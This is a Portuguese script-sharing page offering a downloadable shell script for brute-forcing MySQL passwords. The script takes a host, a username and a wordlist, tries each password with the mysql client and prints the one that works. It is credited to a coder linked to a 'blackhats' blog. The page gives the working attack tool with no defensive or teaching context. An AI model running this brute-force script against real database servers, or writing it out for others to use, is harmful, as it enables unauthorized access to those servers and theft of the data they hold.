Script para fazer brute-force (através de word list) em MySQL.

• Download 5768.mysql.sh
• Enviar nova versão

Esconder código-fonte

#!/bin/sh
# Coder: MMxM
# Site: http://the-blackhats.blogspot.com

function brute(){
   clear
   echo -e "\n[+] Attacking: $1\n[*] User: $2\n"
   sleep 1
   lines=$(wc -l $3 | awk '{print $1}')
   a=1
      for i in `cat $3`
         do
            l=$(mysql -h $1 -u $2 -p"$i" -e "show databases;" 2> /dev/stdout)
            if [ "$?" == "0" ]
               then
                  echo -ne "\r[*] Password Cracked [$a/$lines]: $i\n[+] Password: $i\n"
                  break
            else
                  echo -ne "\r[+] Trying [$a/$lines]: $i\r\r"
            fi
   a=$(($a+1))
done
   echo -ne "\n[+] 100% complete\n\n"
}

if [ $# != 3 ]
        then
cat << _banner

[+] ( Mysql Brute-force by MMxM )
[+] Usage: mysql.sh <host> <user> <wordlist>

_banner
exit
fi
which mysql > /dev/null
if [ "$?" != "0" ]
        then
        echo "[-] ERROR MYSQL CLIENT NOT FOUND"
        exit
fi

brute $1 $2 $3

Backup para J-Pilot evitando arquivos problemáticos

Acerte a carta

Mudar tema Splashy

Sorteio do Amigo Secreto

Automatizando a geração de relatórios do SARG